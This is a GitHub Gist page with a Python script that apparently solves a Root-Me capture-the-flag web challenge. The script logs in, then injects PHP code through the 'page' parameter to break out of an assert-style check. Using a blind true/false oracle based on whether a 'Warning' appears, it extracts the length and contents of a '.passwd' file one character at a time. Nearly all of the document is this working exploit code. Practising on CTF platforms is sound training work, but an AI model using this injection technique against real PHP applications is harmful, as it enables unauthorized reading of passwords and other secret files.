Last active
April 26, 2021 13:46
-
-
Save AIT-RAMI/ccdfd88d25ec6a77c292995572662080 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import string | |
import requests | |
import urllib | |
url = "http://challenge01.root-me.org/web-serveur/ch47/" | |
s = requests.Session() | |
def login(): | |
params = urllib.parse.urlencode({'login':'xxxxxx', 'password':'xxxxxxxx'}) | |
r = s.get("http://api.www.root-me.org/login", params=params) | |
def check(payload): | |
params = urllib.parse.urlencode({'page':payload}) | |
r = s.get(url, params=params) | |
return "Warning" not in r.text | |
def get_len(): | |
i = 50 | |
while True: | |
payload = "', '.7.') === false && strlen(file_get_contents(\".passwd\")) ==" + str(i) + " && strpos('o" | |
if(check(payload)): | |
return i | |
i += 1 | |
def read_file_contents(): | |
length = get_len() | |
s = "" | |
for i in range(length): | |
for c in string.printable: | |
payload = "', '.7.') === false && substr(file_get_contents(\".passwd\"),"+ str(i) +", 1) ==" + "'" + c + "'" + " && strpos('o" | |
if(check(payload)): | |
s += c | |
break | |
return s | |
login() | |
print(read_file_contents()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment